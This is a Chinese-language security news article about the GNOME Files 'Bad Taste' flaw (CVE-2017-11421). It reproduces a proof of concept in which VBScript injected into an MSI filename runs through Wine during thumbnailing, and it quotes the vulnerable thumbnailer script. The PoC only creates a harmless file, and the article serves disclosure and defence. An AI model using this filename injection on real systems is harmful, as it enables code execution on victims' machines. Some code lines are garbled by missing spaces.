GNOME Files中的Bad Taste漏洞将允许攻击者通过恶意Windows MSI文件攻击Linux系统
如果你觉得Windows可执行程序无法对Windows电脑造成足够的伤害,那你现在可以尝试通过构造恶意MSI文件来攻击Linux系统了。
我之所以这样说,是因为德国安全研究专家Nils Dagsson Moskopp发现了一个名叫“Bad Taste”的漏洞(CVE-2017-11421),而这个漏洞将允许攻击者通过恶意MSI文件在Linux平台上运行任意的恶意代码。
GNOME Files文件管理器中的“Bad Taste”漏洞
这个漏洞存在于gnome-exe-thumbnailer之中,这是GNOME Files所用的第三方thumbnailer(缩略图处理控件),该组件之前名叫Nautilus,它也是使用了GNOME作为图形桌面的Linux发行版系统所使用的默认文件管理器。
Moskopp通过研究发现,他可以在MSI文件中隐藏恶意的VBScript代码。当用户访问了他电脑中某个保存有这种恶意MSI文件的文件夹时,GNOME Files便会自动解析该文件并从文件内容中提取出一个图标,然后将这个图标显示在文件浏览器窗口中。
问题就在于,当控件在解析MSI文件并寻找其图标的时候,thumbnailer脚本还会读取文件名并执行其中的代码。通过分析发现,这个漏洞存在于thumbnailer的配置文件中,文件路径为/usr/share/thumbnailers,当GNOME Files在对Linux计算机中存储的文件进行文件解析时,会在这个目录下存储目标文件的图标或生成相应的缩略图。
为了成功利用这个漏洞,攻击者首先需要采用类似网络钓鱼之类的方法来欺骗用户下载一个恶意MSI文件,但这就需要一些比较狡猾的社工技巧了。除此之外,攻击者还可以利用Drive-By下载在不需要向用户询问的情况下自动下载恶意文件,比如说Chrome就给用户提供了自动下载选项。实际上,安全研究人员早在很久之前就已经提醒过Google这种功能的危险性了,而且目前有很多攻击技术都利用了这种功能。
漏洞验证PoC
Moskopp还专门发布了PoC代码来演示Bad Taste漏洞的有效性。他设计的PoC代码会在目标用户的计算机中存放一个名叫badtaste.txt的空文件,但真正的恶意攻击者能做的还有更多。
安装依赖组件
在Debian GNU/Linux平台安装gnome-exe-thumbnailer、nautilus和wixl。wixl包用来创建MSI文件并触发thumbnailer。
注:如果PoC无法正常执行,请安装winetricks并运行命令winetricks wsh56来更新Windows ScriptHost(Windows脚本主机)。
创建MSI文件
创建一个名叫poc.xml的文件,内容如下:
<?xml version="1.0"encoding="utf-8"?>
<Wixxmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Version="1.0"/>
</Wix>
执行下列Bouren Shell代码:
wixl -o poc.msi poc.xml
cp poc.msi "poc.msi\",0):Setfso=CreateObject(\"Scripting.FileSystemObject\"):Setpoc=fso.CreateTextFile(\"badtaste.txt\")'.msi"
触发执行
开启GNOME Files并进入保存上述MSI文件的目录,你将会看到一个名为badtaste.exe的空文件出现在目录中。
漏洞分析
很多文件管理器会根据文件的格式来生成缩略图。在GNU/Linux中,为了给特定文件格式生成缩略图,GNOME Files文件管理器需要使用到/usr/share/thumbnailers 目录下的thumbnailer 配置文件。在安装了gnome-exe-thumbnailer 之后,文件/usr/share/thumbnailers/exe-dll-msi.thumbnailer中将包含以下内容:
[Thumbnailer Entry]
TryExec=/usr/bin/gnome-exe-thumbnailer
Exec=/usr/bin/gnome-exe-thumbnailer %i %o%u
MimeType=application/x-ms-dos-executable;application/x-msdownload;application/x-msi;application/x-ms-shortcut
这也就意味着,无论原本应该显示的是哪一种文件格式(EXE、MSI、DLL或LNK)的图标,GNOME Files都会调用/usr/bin/gnome-exe-thumbnailer来提取出目标文件中嵌入的图标。
shell脚本/usr/bin/gnome-exe-thumbnailer中包含以下代码:
# Get the version number:
if [[ ${INPUTFILE##*.} = 'msi' ]]
then
#Look for the ProductVersion property if user has the Microsoft (R) WindowsScript Host installed:
ifwhich wine && grep -v 'Wine placeholder DLL'$HOME/.wine/drive_c/windows/system32/cscript.exe
then
#Workaround wine bug #19799: cscript crashes if you call WScript.Arguments(0)
#http://bugs.winehq.org/show_bug.cgi?id=19799
<<<"
DimWI, DB, View, Record
SetWI = CreateObject(\"WindowsInstaller.Installer\")
Set DB =WI.OpenDatabase(\"$INPUTFILE\",0)
SetView = DB.OpenView(\"SELECT Value FROM Property WHERE Property ='ProductVersion'\")
View.Execute
Wscript.EchoView.Fetch.StringData(1)
"iconv -f utf8 -t unicode > $TEMPFILE1.vbs
VERSION=$(
DISPLAY=NONEwine cscript.exe //E:vbs //NoLogo Z:\\tmp\\${TEMPFILE1##*/}.vbs 2>/dev/null\
|egrep -o '^[0-9]+\.[0-9]+(\.[0-9][0-9]?)?(beta)?'
)
else
#Try to get the version number from extended file properties at least:
VERSION=$(
file"$INPUTFILE" \
|grep -o ', Subject: .*, Author: ' \
|egrep -o '[0-9]+\.[0-9]+(\.[0-9][0-9]?)?(beta)?' \
|head -1
)
fi
应对方案与总结
为了避免这个漏洞继续给用户造成严重的影响,Moskopp建议广大用户删除/usr/share/thumbnailers目录下的所有文件,或者从现在开始停止使用GNOMEFiles。
Moskopp在接受Bleeping Computer的采访时表示,他已经将该问题上报给了Debian项目组,Debian的开发人员在几个小时后便修复了该漏洞。
* 参考来源:bleepingcomputer、dieweltistgarnichtso, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM